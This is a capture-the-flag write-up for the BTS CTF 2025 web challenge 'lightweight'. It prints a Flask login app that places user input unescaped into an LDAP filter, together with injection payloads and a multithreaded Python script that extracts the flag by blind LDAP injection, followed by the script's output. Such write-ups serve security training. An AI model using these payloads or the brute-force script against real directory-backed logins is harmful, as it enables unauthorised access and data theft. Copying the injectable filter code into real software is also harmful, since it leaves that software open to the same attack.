BTS CTF 2025 - WEB
Web
lightweight
Solvers: 197
Author: bts
Description
Solution
Trying some guessable credentials but not working, so I tried to check the source code.
Go through and found that this application might be vulnerable to LDAP injection as seen in the app.py
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask, render_template, request
from ldap3 import Server, Connection, ALL
app = Flask(__name__)
ADMIN_PASSWORD = "STYE0P8dg55WGLAkFobiwMSJKix1QqpH"
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
server = Server('localhost', port=389, get_info=ALL)
conn = Connection(server,
user=f'cn=admin,dc=bts,dc=ctf',
password=ADMIN_PASSWORD,
auto_bind=True)
if not conn.bind():
return 'Failed to connect to LDAP server', 500
conn.search('ou=people,dc=bts,dc=ctf', f'(&(employeeType=active)(uid={username})(userPassword={password}))', attributes=['uid'])
if not conn.entries:
return 'Invalid credentials', 401
return render_template('index.html', username=username)
return render_template('login.html')
I google for LDAP injection payload
and found this article.
So I tried with:
1
2
username: *
password: *
I successfully logged in and can confirm that the application is vulnerable to LDAP injection.
Ok, now how to get flag?
Look through the source code again, found this in entrypoint.sh
file:
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
# append description with flag
echo "description: BtSCTF{fake_flag}" >> /base.ldif && cat /base.ldif
# start
echo Starting
service slapd start
sleep 1
ldapadd -D cn=admin,dc=bts,dc=ctf -f /base.ldif -x -w STYE0P8dg55WGLAkFobiwMSJKix1QqpH
cd /app && python3 -m gunicorn -b 0.0.0.0:80 app:app
So the attribute description
stored the flag. Let’s try to understand the flow of the application.
When we success login, it will show index.html
page. But the things we curious about is the sensitive data
in:
1
<p class="text-gray-600 mt-1">User Description: FAILED TO LOAD <!-- Probably for the better, as it might contain sensitive data --></p>
If we failed to login, it will show:
1
HTTP/2 401 Unauthorized
But if we success login, it will show:
1
HTTP/2 200 OK
So this application likely to blind LDAP injection. Let’s try it out to confirm.
1
2
username: *)(description=*
password: *
See 200
in the response meaning that the injection is successful.
Let’s try one more time case, we know the format of the flag is BtSCTF{...}
.
1
2
username: *)(description=BtSCTF{*
password: *
Ok, it seems that we go on the right track, now we can either use Burp Intruder
to brute force the rest of the content in the flag or craft a python script
to do it.
I choose the latter, here’s the script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import requests
import string
import concurrent.futures
import time
url = "https://lightweight.chal.bts.wh.edu.pl/"
charset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_-{}!"
known_flag = "BtSCTF{"
max_workers = 5
print(f"[*] Known flag so far: {known_flag}")
def test_character(char):
flag = known_flag + char
data = {
"username": "*",
"password": f"*)(description={flag}*"
}
try:
response = requests.post(url, data=data, timeout=5)
if response.status_code == 200:
return char, True
return char, False
except:
return char, None
while "}" not in known_flag and len(known_flag) < 50:
found = False
common_first = [c for c in "_-abcdefghijklmnopqrstuvwxyz0123456789{}"]
with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
future_to_char = {executor.submit(test_character, c): c for c in common_first}
for future in concurrent.futures.as_completed(future_to_char):
char, result = future.result()
if result:
known_flag += char
print(f"[+] Found character: {char} | Flag so far: {known_flag}")
found = True
for f in future_to_char:
f.cancel()
break
elif result is None:
print(f"[!] Error testing '{char}', retrying...")
if not found:
remaining_chars = [c for c in charset if c not in common_first]
with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
future_to_char = {executor.submit(test_character, c): c for c in remaining_chars}
for future in concurrent.futures.as_completed(future_to_char):
char, result = future.result()
if result:
known_flag += char
print(f"[+] Found character: {char} | Flag so far: {known_flag}")
found = True
for f in future_to_char:
f.cancel()
break
if not found:
print(f"[!] Could not find next character. Current flag: {known_flag}")
break
print(f"[*] Final extracted flag: {known_flag}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
➜ lightweight python3 ldap_exploit.py
[*] Known flag so far: BtSCTF{
[+] Found character: _ | Flag so far: BtSCTF{_
[+] Found character: b | Flag so far: BtSCTF{_b
[+] Found character: l | Flag so far: BtSCTF{_bl
[+] Found character: 1 | Flag so far: BtSCTF{_bl1
[+] Found character: n | Flag so far: BtSCTF{_bl1n
[+] Found character: d | Flag so far: BtSCTF{_bl1nd
[+] Found character: _ | Flag so far: BtSCTF{_bl1nd_
[+] Found character: l | Flag so far: BtSCTF{_bl1nd_l
[+] Found character: d | Flag so far: BtSCTF{_bl1nd_ld
[+] Found character: 4 | Flag so far: BtSCTF{_bl1nd_ld4
[+] Found character: p | Flag so far: BtSCTF{_bl1nd_ld4p
[+] Found character: _ | Flag so far: BtSCTF{_bl1nd_ld4p_
[+] Found character: 1 | Flag so far: BtSCTF{_bl1nd_ld4p_1
[+] Found character: n | Flag so far: BtSCTF{_bl1nd_ld4p_1n
[+] Found character: j | Flag so far: BtSCTF{_bl1nd_ld4p_1nj
[+] Found character: 3 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3
[+] Found character: c | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3c
[+] Found character: t | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct
[+] Found character: 1 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct1
[+] Found character: 0 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10
[+] Found character: n | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n
[+] Found character: _ | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_
[+] Found character: y | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y
[+] Found character: 1 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1
[+] Found character: p | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1p
[+] Found character: p | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp
[+] Found character: 3 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp3
[+] Found character: 3 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp33
[+] Found character: 3 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp333
[+] Found character: 3 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp3333
[+] Found character: 3 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp33333
[+] Found character: 3 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp333333
[+] Found character: } | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp333333}
[*] Final extracted flag: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp333333}
Flag: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp333333}
PS: If we know the abbreviation of LDAP, it probably faster to us to identify this challenge is LDAP injection :D.